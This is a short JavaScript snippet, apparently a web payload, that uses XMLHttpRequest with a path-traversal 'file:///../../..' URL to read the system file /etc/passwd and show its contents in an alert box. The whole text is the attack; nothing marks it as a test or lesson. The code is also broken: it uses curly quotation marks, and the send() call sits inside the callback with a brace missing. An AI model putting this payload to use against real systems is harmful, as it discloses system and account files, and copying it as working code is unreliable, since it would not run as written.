function readTextFile(file){
	var rawFile = new XMLHttpRequest();
	rawFile.open(“GET”, file, false);
	rawFile.onreadystatechange = function (){
		if(rawFile.readyState === 4){
			if(rawFile.status === 200 || rawFile.status == 0){
				var allText = rawFile.responseText;
				alert(allText);
			}
		}
     rawFile.send(null);
}
readTextFile(“file:///../../../../../../../../../etc/passwd”);